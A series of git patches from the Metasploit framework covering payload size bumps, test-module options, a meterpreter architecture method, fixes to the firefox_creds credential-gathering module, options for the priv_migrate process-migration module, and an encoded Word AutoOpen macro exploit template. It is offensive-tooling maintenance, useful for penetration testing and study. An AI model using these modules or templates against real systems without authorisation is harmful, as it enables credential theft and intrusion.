@@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 53178 + CachedSize = 53182 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 2378f4e7a5..60fc42cc2b 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 53142 + CachedSize = 53146 include Msf::Payload::Single include Msf::Payload::Python From ba89dc9c34d8a7303f5ba0e93bf2ba2a1d847d9c Mon Sep 17 00:00:00 2001 From: bwatters-r7 <bwatters@rapid7.com> Date: Sat, 25 Feb 2017 04:57:21 -0600 Subject: [PATCH 247/426] Added the option to incude intropy in file/directory names to support automated testing --- test/modules/post/test/meterpreter.rb | 35 +++++++++++++++++++-------- 1 file changed, 25 insertions(+), 10 deletions(-) diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index ca69d1013b..df4ca7fa63 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -21,6 +21,7 @@ class MetasploitModule < Msf::Post )) register_options( [ + OptBool.new("AddEntropy" , [false, "Add entropy token to file and directory names.", false]), OptString.new("BaseFileName" , [true, "File/dir base name", "meterpreter-test"]) ], self.class) end @@ -132,7 +133,12 @@ class MetasploitModule < Msf::Post def test_fs vprint_status("Starting filesystem tests") - + if datastore["AddEntropy"] + entropy_value = '-' + ('a'..'z').to_a.shuffle[0,8].join + else + entropy_value = "" + end + it "should return the proper directory separator" do sysinfo = session.sys.config.sysinfo if sysinfo["OS"] =~ /windows/i @@ -167,7 +173,8 @@ class MetasploitModule < Msf::Post end it "should create and remove a dir" do - dir_name = "#{datastore["BaseFileName"]}-dir" + dir_name = "#{datastore["BaseFileName"]}-dir#{entropy_value}" + vprint_status("Directory Name: #{dir_name}") session.fs.dir.rmdir(dir_name) rescue nil res = create_directory(dir_name) if (res) @@ -180,7 +187,8 @@ class MetasploitModule < Msf::Post end it "should change directories" do - dir_name = "#{datastore["BaseFileName"]}-dir" + dir_name = "#{datastore["BaseFileName"]}-dir#{entropy_value}" + vprint_status("Directory Name: #{dir_name}") session.fs.dir.rmdir(dir_name) rescue nil res = create_directory(dir_name) @@ -208,7 +216,8 @@ class MetasploitModule < Msf::Post it "should create and remove files" do res = true - file_name = datastore["BaseFileName"] + file_name = "#{datastore["BaseFileName"]}#{entropy_value}" + vprint_status("File Name: #{file_name}") res &&= session.fs.file.open(file_name, "wb") { |fd| fd.write("test") } @@ -228,7 +237,8 @@ class MetasploitModule < Msf::Post it "should upload a file" do res = true - remote = "#{datastore["BaseFileName"]}-file.txt" + remote = "#{datastore["BaseFileName"]}-file#{entropy_value}.txt" + vprint_status("Remote File Name: #{remote}") local = __FILE__ vprint_status("uploading") session.fs.file.upload_file(remote, local) @@ -254,8 +264,10 @@ class MetasploitModule < Msf::Post it "should move files" do res = true - src_name = datastore["BaseFileName"] - dst_name = "#{datastore["BaseFileName"]}-moved" + src_name = "#{datastore["BaseFileName"]}#{entropy_value}" + vprint_status("Source File Name: #{src_name}") + dst_name = "#{src_name}-moved" + vprint_status("Destination File Name: #{dst_name}") # Make sure we don't have leftovers from a previous run session.fs.file.rm(src_name) rescue nil @@ -279,8 +291,10 @@ class MetasploitModule < Msf::Post it "should copy files" do res = true - src_name = datastore["BaseFileName"] - dst_name = "#{datastore["BaseFileName"]}-copied" + src_name = "#{datastore["BaseFileName"]}#{entropy_value}" + vprint_status("Source File Name: #{src_name}") + dst_name = "#{src_name}-copied" + vprint_status("Destination File Name: #{dst_name}") # Make sure we don't have leftovers from a previous run session.fs.file.rm(src_name) rescue nil @@ -304,7 +318,8 @@ class MetasploitModule < Msf::Post it "should do md5 and sha1 of files" do res = true - remote = "#{datastore["BaseFileName"]}-file.txt" + remote = "#{datastore["BaseFileName"]}-file#{entropy_value}.txt" + vprint_status("Remote File Name: #{remote}") local = __FILE__ vprint_status("uploading") session.fs.file.upload_file(remote, local) From 941f87fa83d58fac4e2a41fb5a5cf40369889731 Mon Sep 17 00:00:00 2001 From: bwatters-r7 <bwatters@rapid7.com> Date: Sat, 25 Feb 2017 04:57:21 -0600 Subject: [PATCH 248/426] Added the option to incude entropy in file/directory names to support automated testing --- test/modules/post/test/meterpreter.rb | 35 +++++++++++++++++++-------- 1 file changed, 25 insertions(+), 10 deletions(-) diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index ca69d1013b..df4ca7fa63 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -21,6 +21,7 @@ class MetasploitModule < Msf::Post )) register_options( [ + OptBool.new("AddEntropy" , [false, "Add entropy token to file and directory names.", false]), OptString.new("BaseFileName" , [true, "File/dir base name", "meterpreter-test"]) ], self.class) end @@ -132,7 +133,12 @@ class MetasploitModule < Msf::Post def test_fs vprint_status("Starting filesystem tests") - + if datastore["AddEntropy"] + entropy_value = '-' + ('a'..'z').to_a.shuffle[0,8].join + else + entropy_value = "" + end + it "should return the proper directory separator" do sysinfo = session.sys.config.sysinfo if sysinfo["OS"] =~ /windows/i @@ -167,7 +173,8 @@ class MetasploitModule < Msf::Post end it "should create and remove a dir" do - dir_name = "#{datastore["BaseFileName"]}-dir" + dir_name = "#{datastore["BaseFileName"]}-dir#{entropy_value}" + vprint_status("Directory Name: #{dir_name}") session.fs.dir.rmdir(dir_name) rescue nil res = create_directory(dir_name) if (res) @@ -180,7 +187,8 @@ class MetasploitModule < Msf::Post end it "should change directories" do - dir_name = "#{datastore["BaseFileName"]}-dir" + dir_name = "#{datastore["BaseFileName"]}-dir#{entropy_value}" + vprint_status("Directory Name: #{dir_name}") session.fs.dir.rmdir(dir_name) rescue nil res = create_directory(dir_name) @@ -208,7 +216,8 @@ class MetasploitModule < Msf::Post it "should create and remove files" do res = true - file_name = datastore["BaseFileName"] + file_name = "#{datastore["BaseFileName"]}#{entropy_value}" + vprint_status("File Name: #{file_name}") res &&= session.fs.file.open(file_name, "wb") { |fd| fd.write("test") } @@ -228,7 +237,8 @@ class MetasploitModule < Msf::Post it "should upload a file" do res = true - remote = "#{datastore["BaseFileName"]}-file.txt" + remote = "#{datastore["BaseFileName"]}-file#{entropy_value}.txt" + vprint_status("Remote File Name: #{remote}") local = __FILE__ vprint_status("uploading") session.fs.file.upload_file(remote, local) @@ -254,8 +264,10 @@ class MetasploitModule < Msf::Post it "should move files" do res = true - src_name = datastore["BaseFileName"] - dst_name = "#{datastore["BaseFileName"]}-moved" + src_name = "#{datastore["BaseFileName"]}#{entropy_value}" + vprint_status("Source File Name: #{src_name}") + dst_name = "#{src_name}-moved" + vprint_status("Destination File Name: #{dst_name}") # Make sure we don't have leftovers from a previous run session.fs.file.rm(src_name) rescue nil @@ -279,8 +291,10 @@ class MetasploitModule < Msf::Post it "should copy files" do res = true - src_name = datastore["BaseFileName"] - dst_name = "#{datastore["BaseFileName"]}-copied" + src_name = "#{datastore["BaseFileName"]}#{entropy_value}" + vprint_status("Source File Name: #{src_name}") + dst_name = "#{src_name}-copied" + vprint_status("Destination File Name: #{dst_name}") # Make sure we don't have leftovers from a previous run session.fs.file.rm(src_name) rescue nil @@ -304,7 +318,8 @@ class MetasploitModule < Msf::Post it "should do md5 and sha1 of files" do res = true - remote = "#{datastore["BaseFileName"]}-file.txt" + remote = "#{datastore["BaseFileName"]}-file#{entropy_value}.txt" + vprint_status("Remote File Name: #{remote}") local = __FILE__ vprint_status("uploading") session.fs.file.upload_file(remote, local) From 37066acc034ceee5c10eda19810e4bfa2bf601a9 Mon Sep 17 00:00:00 2001 From: Pearce Barry <pearce_barry@rapid7.com> Date: Mon, 20 Feb 2017 11:32:20 -0600 Subject: [PATCH 249/426] Try harder to get user id, correctly handle dirs with spaces. Fixes #7817. --- modules/post/multi/gather/firefox_creds.rb | 34 ++++++++++++++-------- 1 file changed, 22 insertions(+), 12 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 2a524f6ee4..54bfb34205 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -146,7 +146,7 @@ class MetasploitModule < Msf::Post omnija = read_file(@paths['ff'] + org_file) if omnija.nil? or omnija.empty? or omnija =~ /No such file/i print_error("Could not download: #{@paths['ff'] + org_file}") - print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading)") if session.type != "meterpreter" + print_error("Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)") if session.type != "meterpreter" return end @@ -249,8 +249,8 @@ class MetasploitModule < Msf::Post if got_root vprint_status("Detected ROOT privileges. Searching every account on the target system.") - userdirs = cmd_exec("find #{home} -maxdepth 1 -mindepth 1 2>/dev/null").gsub(/\s/, "\n") - userdirs << "/root\n" + userdirs = "/root\n" + userdirs << cmd_exec("find #{home} -maxdepth 1 -mindepth 1 -type d 2>/dev/null") else vprint_status("Checking #{id}'s Firefox account") userdirs = "#{home + id}\n" @@ -260,16 +260,16 @@ class MetasploitModule < Msf::Post dir.chomp! next if dir == "." or dir == ".." or dir =~ /No such file/i - @platform == :osx ? (basepath = "#{dir}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{dir}/.mozilla/firefox/") + @platform == :osx ? (basepath = "#{dir}/Library/Application Support/Firefox/Profiles") : (basepath = "#{dir}/.mozilla/firefox") print_status("Checking for Firefox profile in: #{basepath}") - checkpath = cmd_exec("ls #{basepath}").gsub(/\s/, "\n") + checkpath = cmd_exec("find " + basepath.gsub(/ /, "\\ ") + " -maxdepth 1 -mindepth 1 -type d 2>/dev/null") checkpath.each_line do |ffpath| ffpath.chomp! - if ffpath =~ /\.default/ - vprint_good("Found profile: #{basepath + ffpath}") - paths << "#{basepath + ffpath}" + if ffpath =~ /\.default$/ + vprint_good("Found profile: #{ffpath}") + paths << "#{ffpath}" end end end @@ -332,7 +332,7 @@ class MetasploitModule < Msf::Post profile = path.scan(/Profiles[\\|\/](.+)\.(.+)$/).flatten[0].to_s profile = path.scan(/firefox[\\|\/](.+)\.(.+)$/).flatten[0].to_s if profile.empty? - session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("ls #{path} 2>/dev/null").split()) + session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("find "+ path.gsub(/ /, "\\ ") + " -maxdepth 1 -mindepth 1 -type f 2>/dev/null").gsub(/.*\//, "").split("\n")) files.each do |file| file.chomp! @@ -551,12 +551,18 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); when :unix # Assuming userdir /home/(x) = user print_status("Enumerating users") - users = cmd_exec("ls /home 2>/dev/null") - if users.nil? or users.empty? + homedirs = cmd_exec("find /home -maxdepth 1 -mindepth 1 -type d 2>/dev/null").gsub(/.*\//, "") + if homedirs.nil? or homedirs.empty? print_error("No normal user found") return false end - user = users.split[0] + user = nil + # Skip home directories which contain a space, as those are likely not usernames... + homedirs.each_line do |homedir| + user = homedir.chomp + break unless user.index(" ") + end + # Since we can't access the display environment variable we have to assume the default value args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ") args << "\"" @@ -719,6 +725,10 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); session.sys.config.getuid =~ /SYSTEM/ ? true : false else # unix, bsd, linux, osx id_output = cmd_exec("id").chomp + if id_output.blank? + # try an absolute path + id_output = cmd_exec("/usr/bin/id").chomp + end id_output.include?("uid=0(") ? true : false end end From 3b2e5e0785779804c673f68bdb71287ea72da7ae Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Sun, 26 Feb 2017 14:22:24 -0500 Subject: [PATCH 250/426] Add a new core_native_arch method for meterpreter --- lib/msf/base/sessions/meterpreter.rb | 9 +++++++++ lib/msf/base/sessions/meterpreter_python.rb | 4 ++++ lib/rex/post/meterpreter/client_core.rb | 12 ++++++++++++ 3 files changed, 25 insertions(+) diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index bcb592c97f..d17ee6edd7 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -536,6 +536,15 @@ class Meterpreter < Rex::Post::Meterpreter::Client end end + # + # Get a string representation of the architecture of the process in which the + # current session is running. This defaults to the same value of arch but can + # be overridden by specific meterpreter implementations to add support. + # + def native_arch + arch + end + # # Generate a binary suffix based on arch # diff --git a/lib/msf/base/sessions/meterpreter_python.rb b/lib/msf/base/sessions/meterpreter_python.rb index db147a442d..f660361ad0 100644 --- a/lib/msf/base/sessions/meterpreter_python.rb +++ b/lib/msf/base/sessions/meterpreter_python.rb @@ -108,6 +108,10 @@ class Meterpreter_Python_Python < Msf::Sessions::Meterpreter unknown_error end + def native_arch + @native_arch ||= self.core.native_arch + end + def supports_ssl? false end diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index cc00ff8866..479102b788 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -325,6 +325,18 @@ class ClientCore < Extension Rex::Text.md5(mid.to_s.downcase.strip) end + def native_arch(timeout=nil) + # Not all meterpreter implementations support this + request = Packet.create_request('core_native_arch') + + args = [ request ] + args << timeout if timeout + + response = client.send_request(*args) + + response.get_tlv_value(TLV_TYPE_STRING) + end + def transport_remove(opts={}) request = transport_prepare_request('core_transport_remove', opts) From 0ebd51d2244e7e2f8224140cefe8c3c710fcb1da Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Sun, 26 Feb 2017 14:42:55 -0500 Subject: [PATCH 251/426] Use native_arch for railgun sizes --- lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb index fc8af29404..385bc67c70 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb @@ -119,7 +119,7 @@ class DLL def process_function_call(function, args, client) raise "#{function.params.length} arguments expected. #{args.length} arguments provided." unless args.length == function.params.length - if client.arch == ARCH_X64 + if client.native_arch == ARCH_X64 native = 'Q<' else native = 'V' From 81efe096aaa991040b277776f008afc890cca0d4 Mon Sep 17 00:00:00 2001 From: Josh Hale <jhale85446@gmail.com> Date: Sun, 26 Feb 2017 21:01:19 -0600 Subject: [PATCH 252/426] Update Author Handle --- modules/post/windows/manage/priv_migrate.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 7dc277e31d..8f18f6d2ec 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -27,7 +27,7 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ - 'Josh Hale <jhale85446[at]gmail.com>', + 'Josh Hale "sn0wfa11" <jhale85446[at]gmail.com>', 'theLightCosine' ], 'Platform' => ['win' ], From 1c7195252943d6329a87462fe072df23001e4735 Mon Sep 17 00:00:00 2001 From: bwatters-r7 <bwatters@rapid7.com> Date: Mon, 27 Feb 2017 11:09:14 -0600 Subject: [PATCH 253/426] Update Gemfile.lock because I forgot to in PR#8014 --- Gemfile.lock | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 44ff27765a..2b962f5b65 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -14,7 +14,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.2.14) + metasploit-payloads (= 1.2.15) metasploit_data_models metasploit_payloads-mettle (= 0.1.7) msgpack @@ -169,7 +169,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.2.14) + metasploit-payloads (1.2.15) metasploit_data_models (2.0.14) activerecord (~> 4.2.6) activesupport (~> 4.2.6) From 18445cf34164c21d8423c410c8349392fbf244f0 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 27 Feb 2017 11:25:06 -0600 Subject: [PATCH 254/426] bump rex-text, get IPAddr sorting --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 2b962f5b65..1eb417e75f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -279,7 +279,7 @@ GEM rex-socket rex-text rex-struct2 (0.1.0) - rex-text (0.2.11) + rex-text (0.2.12) rex-zip (0.1.1) rex-text rkelly-remix (0.0.7) From ffb54a13fe4867e1724b0d501d7e37f7f7b47c3d Mon Sep 17 00:00:00 2001 From: Josh Hale <jhale85446@gmail.com> Date: Mon, 27 Feb 2017 12:41:18 -0600 Subject: [PATCH 255/426] Add NOFAIL datastore option --- modules/post/windows/manage/priv_migrate.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 8f18f6d2ec..80432ea742 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -36,9 +36,10 @@ class MetasploitModule < Msf::Post register_options( [ - OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']), - OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']), - OptBool.new( 'KILL', [false, 'Kill original session process.', false]) + OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']), + OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']), + OptBool.new( 'KILL', [true, 'Kill original session process.', false]), + OptBool.new( 'NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false]) ], self.class) end @@ -48,6 +49,7 @@ class MetasploitModule < Msf::Post @original_name = client.sys.process.open.name print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}") unless migrate_admin + return if is_admin? && datastore['NOFAIL'] migrate_user end end From 6965a00b454f74cc45217e630f35cdf2a3d6de0b Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 27 Feb 2017 13:02:41 -0600 Subject: [PATCH 256/426] Resolve #8023, Support backward compatibility for Office macro Resolve #8023 --- .../office_word_macro/word/vbaData.xml | 2 +- .../office_word_macro/word/vbaProject.bin | Bin 23040 -> 16384 bytes 2 files changed, 1 insertion(+), 1 deletion(-) mode change 100755 => 100644 data/exploits/office_word_macro/word/vbaData.xml mode change 100755 => 100644 data/exploits/office_word_macro/word/vbaProject.bin diff --git a/data/exploits/office_word_macro/word/vbaData.xml b/data/exploits/office_word_macro/word/vbaData.xml old mode 100755 new mode 100644 index fd613d4fa0..18d7c2dc9b --- a/data/exploits/office_word_macro/word/vbaData.xml +++ b/data/exploits/office_word_macro/word/vbaData.xml @@ -1,2 +1,2 @@ <?xml version="1.0" encoding="UTF-8" standalone="yes"?> -<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmlns:cx2="http://schemas.microsoft.com/office/drawing/2015/10/21/chartex" xmlns:cx3="http://schemas.microsoft.com/office/drawing/2016/5/9/chartex" xmlns:cx4="http://schemas.microsoft.com/office/drawing/2016/5/10/chartex" xmlns:cx5="http://schemas.microsoft.com/office/drawing/2016/5/11/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 w16se wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData> \ No newline at end of file +<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData> \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/vbaProject.bin b/data/exploits/office_word_macro/word/vbaProject.bin old mode 100755 new mode 100644 index bd1940cf579b96459a0a236ae187302dbe6f0185..ec7ea683e143a78acca9cfb4ef836ea47905cb8d GIT binary patch literal 16384 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 